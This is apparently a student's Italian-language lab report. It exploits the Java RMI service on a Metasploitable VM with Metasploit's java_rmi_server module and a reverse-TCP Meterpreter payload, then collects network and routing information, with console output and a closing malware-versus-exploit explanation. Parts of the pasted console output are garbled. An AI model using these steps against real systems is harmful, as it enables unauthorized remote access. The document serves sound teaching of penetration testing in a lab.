PROGETTO S7/L5 MARTA ARAMU

Consegna: La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI. Si richiede allo studente di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota. I requisiti dell'esercizio sono:

• La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.11.111 • La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.11.112 • Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota: 1) configurazione di rete. 2) informazioni sulla tabella di routing della macchina vittima.

Svolgimento: per prima cosa ho modificato l'indirizzo IP di kali con il comando sudo nano /etc/network/interfaces:

```
File Actions Edit View Help

GNU nano 7.2 /etc/network/interfaces

This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.11.111/24
gateway 192.168.50.1
```

Come si vede facendo un ifconfig, l'indirizzo IP è stato cambiato con successo.

Faccio la stessa cosa con l'indirizzo IP di metasploitable, stesso procedimento: sudo nano /etc/network/interfaces.

```
Modified
 GNU nano 2.0.7
                          File: /etc/network/interfaces
# This file describes the network interfaces available on your system
\sharp and how to activate them. For more information, see interfaces(5).
# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface ethO inet static
address 192.168.11.112_
netmask 255.255.255.0
network 192.168.50.255
broadcast 192.168.50.255
gateway 192.168.50.1
                           TR Read File Ty Prev Page TR Cut Text TC Cur Pos
Where Is To Spell
G Get Help
             🔼 WriteOut
              <sup>^</sup>J Justify
  Exit
```

Come si vede facendo un ifconfig, l'indirizzo IP è stato cambiato con successo.

```
To access official Ubuntu documentation
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0 Link encap:Ethernet HWaddr
inet addr:192.168.11.112 Book inet6 addr: fe80::a00:27ff:f
UP BROADCAST RUNNING MULTICE
```

Mettendo entrambe le macchine su rete interna, mi sono assicurata che pingassero.

Successivamente eseguo una scansione di rete sulla macchina metasploitable con il comando **nmap -sV e l'IP** della macchina target. Vediamo che la porta 1099, che ci servirà dopo per l'exploit, è aperta. Di default, Java RMI usa la porta 1099.

L'RMI è l'acronimo di **Remote Method Invocation**. È la capacità per un oggetto Java di poter essere in esecuzione su un determinato computer consentendo, contemporaneamente, l'invocazione dei suoi metodi, in maniera remota, su un altro computer raggiungibile attraverso la rete.

```
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-26 07:16 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using -
-system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.11.112
Host is up (0.025s latency).
Not shown: 977 closed tcp ports (conn-refused)
         STATE SERVICE
PORT
                              VERSION
21/tcp
         open ftp
                              vsftpd 2.3.4
                ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
telnet Linux telnetd
smtp Postfix smtpd
         open ssh
22/tcp
23/tcp
          open
         open smtp
25/tcp
25/tcp open smtp Postfix smtpd

53/tcp open domain ISC BIND 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec
                           netkit-rsh rexecd
                 login OpenBSD or Solaris rlogind
shell Netkit rshd
java-rmi GNU Classpath grmiregistry
514/tcp open login
1099/tcp open shell
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs
                              2-4 (RPC #100003)
2121/tcp open ftp
                              ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open
                              VNC (protocol 3.3)
                 vnc
6000/tcp open X11
                               (access denied)
6667/tcp open irc
8009/tcp open ajpi
                              UnrealIRCd
                 ajp13
                              Apache Jserv (Protocol v1.3)
8180/tcp open http
                              Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux;
CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 13.70 seconds
```

Con il comando **msfconsole** vado ad avviare Metasploit, che è già presente su kali, e successivamente cerco l'exploit più adatto alla situazione con **search Java RMI**. Scarica una serie di moduli, 13 in tutto, e dopo averli testati scelgo di usare il numero 4. **Metasploit** è un framework open-source per lo sviluppo e l'esecuzione di exploit informatici. È una delle suite più ampiamente utilizzate per testare la sicurezza delle reti e delle applicazioni. Metasploit fornisce un'ampia gamma di strumenti per testare e sfruttare vulnerabilità, automatizzare compiti di penetration testing e sviluppare exploit personalizzati. Questo framework è utilizzato principalmente dagli specialisti in sicurezza informatica, dai ricercatori di vulnerabilità e dagli hacker etici per valutare la sicurezza dei sistemi informatici. Metasploit include un vasto database di exploit, payload e moduli che possono essere utilizzati per testare la sicurezza di sistemi operativi, applicazioni web, dispositivi di rete e molto altro ancora.

Una delle caratteristiche più potenti di Metasploit è la sua capacità di automatizzare molte fasi del processo di penetration testing, consentendo agli utenti di eseguire test di sicurezza in modo rapido ed efficiente.



msf6 > search Java RMI		
Matching Modules		
# Name k Check Description	Disclosure Date	Ran
- —		_
0 exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce ellent Yes Atlassian Crowd pdkinstall Unauthenticated Plugin Upload	2019-05-22 RCE	exc
<pre>1 exploit/multi/misc/java_jmx_server ellent Yes Java JMX Server Insecure Configuration Java Code Executio</pre>	2013-05-22 in	exc
	2013-05-22	nor
3 auxiliary/gather/java_rmi_registry mal No Java RMI Registry Interfaces Enumeration		nor
4 exploit/multi/misc/java_rmi_server ellent Yes Java RMI Server Insecure Default Configuration Java Code	2011-10-15 Execution	exc
5 auxiliary/scanner/misc/java_rmi_server mal No Java RMI Server Insecure Endpoint Code Execution Scanner	2011-10-15	nor
6 exploit/multi/browser/java_rmi_connection_impl ellent No Java RMIConnectionImpl Deserialization Privilege Escalati	2010-03-31 on	exc
	1997-02-19	exc
	2019-01-08	exc
	2015-11-18	exc
	2007-06-27 le Execution	exc
	2023-05-26	exc
	2019-08-30	exc
	2021-09-21	man
<pre>Interact with a module by name or index. For example info 13, use 13 or cal/vcenter_java_wrapper_vmon_priv_esc</pre>	use exploit/linu	k/lo

Appunto con il comando **use 4** indico che voglio usare l'exploit numero 4. Non c'è un payload configurato, quindi uso quello di default che mi dà meterpreter.

Meterpreter è un payload molto potente e flessibile all'interno del framework Metasploit. È progettato per fornire un controllo completo del sistema operativo della vittima a chi lo utilizza. Meterpreter viene comunemente utilizzato come parte di un attacco di penetration testing o hacking etico, consentendo all'attaccante di eseguire una vasta gamma di azioni sul sistema compromesso.

Alcune delle funzionalità di Meterpreter includono:

- Accesso remoto al sistema: una volta che il payload Meterpreter è stato eseguito con successo sul sistema di destinazione, l'attaccante può stabilire una connessione remota al sistema compromesso.
- Controllo completo del sistema: Meterpreter fornisce un'ampia gamma di comandi che consentono all'attaccante di eseguire operazioni come la ricerca e l'eliminazione di file, l'esecuzione di comandi di sistema, il caricamento e il download di file, l'intercettazione di input da tastiera, la registrazione dello schermo e molto altro.
- Evasione delle difese: Meterpreter è progettato per essere discreto e può essere utilizzato per eludere le difese di sicurezza tradizionali, rendendo più difficile per i difensori rilevare e respingere un attacco.

Successivamente uso il comando **show options**: esso su Meterpreter viene utilizzato per visualizzare le opzioni disponibili per un modulo specifico. Quando un modulo è caricato in Meterpreter, come parte di un exploit o di un payload, può avere opzioni configurabili che devono essere impostate per personalizzare il suo comportamento.

Ecco come funziona il comando show options:

- Visualizzazione delle opzioni disponibili: quando si esegue il comando show options, Meterpreter visualizzerà un elenco delle opzioni disponibili per il modulo corrente. Queste opzioni possono includere parametri come indirizzi IP, porte, nomi di file, o altri parametri configurabili.
- Mostra i valori di default delle opzioni: il comando show options può anche visualizzare i valori di default delle opzioni, se sono stati definiti per il modulo. Questo aiuta l'utente a comprendere quali opzioni devono essere configurate e quali possono essere lasciate ai valori di default.
- Configurazione delle opzioni: dopo aver visualizzato le opzioni disponibili, l'utente può utilizzare il comando set per impostare i valori delle opzioni desiderate in base alle esigenze specifiche dell'attacco o del test di penetrazione che si sta conducendo.

Questo comando mi indica che l'RHOSTS non è attualmente configurato e quindi non è impostata la macchina target.

```
<u>msf6</u> > use 4
     No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(
                                                    ) > show options
Module options (exploit/multi/misc/java_rmi_server):
                  Current Setting Required Description
   HTTPDELAY 10
                                                      Time that the HTTP Server will wait for the paylo
                                        ves
                                                      ad request
                                                     The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.
   RHOSTS
                                                      html
   RPORT
                  1099
                                                      The target port (TCP)
                                        ves
    SRVHOST
                  0.0.0.0
                                        yes
                                                      The local host or network interface to listen on.
                                                     This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
The local port to listen on.
Negotiate SSL for incoming connections
Path to a custom SSL certificate (default is rand
   SRVPORT
                  8080
                  false
   SSLCert
                                                      omly generated)
The URI to use for this exploit (default is rando
   URIPATH
                                        no
Payload options (java/meterpreter/reverse_tcp):
            Current Setting Required Description
   LHOST 192.168.11.111
LPORT 4444
                                                The listen port
                                   ves
Exploit target:
    Id Name
        Generic (Java Payload)
```

A questo punto sono io che setto l'RHOSTS con l'indirizzo IP di metasploitable, cioè la macchina target, e con un altro comando show options confermo che l'RHOSTS è stato configurato con successo.

```
msf6 exploit(
                                                   r) > set RHOSTS 192.168.11.112
msf6 exploit(ms server)
RHOSTS ⇒ 192.168.11.112
(face pmi server) > show options
Module options (exploit/multi/misc/java_rmi_server):
                  Current Setting Required Description
   Name
   HTTPDELAY 10
                                                       Time that the HTTP Server will wait for the paylo
                                         ves
                                                       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.
   RHOSTS
                  192.168.11.112
                                                       html
    RPORT
                                                       The target port (TCP)
    SRVHOST
                  0.0.0.0
                                                       This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
The local port to listen on.
Negotiate SSL for incoming connections
Path to a custom SSL certificate (default is rand
    SRVPORT
                  8080
                                                       omly generated)
The URI to use for this exploit (default is rando
   URIPATH
                                         no
Payload options (java/meterpreter/reverse_tcp):
    Name
             Current Setting Required Description
   LHOST 192.168.11.111
LPORT 4444
                                                  The listen address (an interface may be specified)
                                                  The listen port
                                    ves
Exploit target:
    Id Name
         Generic (Java Payload)
```

A questo punto posso eseguire l'exploit e raccolgo informazioni sulle configurazioni di rete con il comando ifconfig.

```
msf6 exploit(multi
                                                  er) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/8iePDgB
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112 [*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:46722) at 2024-01-26
 06:09:23 -0500
meterpreter > ifconfig
Interface 1
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::
Interface 2
                 : eth0 - eth0
Name
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fef3:9ef
IPv6 Netmask : ::
```

Nell'interfaccia 2 vediamo subito che l'IPv4 Address è proprio l'indirizzo IP della macchina target, ciò conferma che l'exploit è riuscito e che abbiamo aperto con successo una sessione remota meterpreter.

Per finire l'esercizio chiede informazioni sulla tabella di routing della macchina vittima, quindi utilizzo il comando **route**. Nel contesto di meterpreter, il comando route è utilizzato per visualizzare, aggiungere o rimuovere le route di rete sul sistema compromesso. Le route di rete determinano il percorso che i pacchetti di dati seguono attraverso una rete per raggiungere la loro destinazione.

```
| Telegrater > route | Telegrater | Telegra
```

Infine, è bene sottolineare la **differenza fondamentale tra un malware e un exploit**. Il termine "**malware**" è un'abbreviazione di "software dannoso" (malicious software). Si riferisce a qualsiasi tipo di software progettato con l'intento di danneggiare o compromettere un sistema informatico, rubare dati, o svolgere altre azioni dannose senza il consenso dell'utente. Il malware può assumere varie forme e può essere progettato per eseguire una vasta gamma di attività dannose, tra cui:

- Virus: programmi che si attaccano a file eseguibili e si replicano quando il file viene eseguito.
- Worm: programmi che si diffondono automaticamente attraverso le reti, sfruttando vulnerabilità di sicurezza.
- Trojan: programmi che si mascherano da software legittimo per ingannare gli utenti e ottenere l'accesso non autorizzato ai loro sistemi.
- Spyware: software che raccoglie segretamente informazioni sugli utenti e sulle loro attività online.
- Ransomware: software che blocca l'accesso ai dati dell'utente o al sistema stesso fino a quando non viene pagato un riscatto.
- Adware: software progettato per visualizzare annunci pubblicitari indesiderati.

Il malware può essere distribuito in vari modi, inclusi allegati di email, download da siti web dannosi, exploit di vulnerabilità del software e altro ancora.

Un **exploit** è una tecnica o un codice progettato per sfruttare una vulnerabilità o una debolezza nel software o nel sistema operativo al fine di ottenere un vantaggio non autorizzato. Gli exploit vengono spesso utilizzati come componente di malware, ma possono anche essere sviluppati e utilizzati da specialisti della sicurezza informatica per testare la sicurezza dei sistemi o per correggere le vulnerabilità esistenti.

Gli exploit possono mirare a varie componenti di un sistema, tra cui:

- Vulnerabilità del software: questi possono essere bug nel codice di un'applicazione o del sistema operativo che possono essere sfruttati per ottenere accesso non autorizzato o per eseguire codice dannoso.
- Debolezze del protocollo di rete: gli exploit possono mirare a protocolli di rete come TCP/IP, HTTP, FTP, etc., per sfruttare le loro debolezze e compromettere i sistemi.
- Debolezze di configurazione: questi exploit sfruttano errori nella configurazione di un sistema o di un'applicazione che possono essere utilizzati per ottenere accesso non autorizzato o per svolgere altre azioni dannose.

In sintesi, mentre il malware è un software dannoso progettato per danneggiare o compromettere un sistema, un exploit è un'azione o un codice progettato per sfruttare una vulnerabilità nel software o nel sistema al fine di ottenere un vantaggio non autorizzato. Gli exploit possono essere utilizzati come parte di un malware o come strumento per testare e correggere vulnerabilità nei sistemi.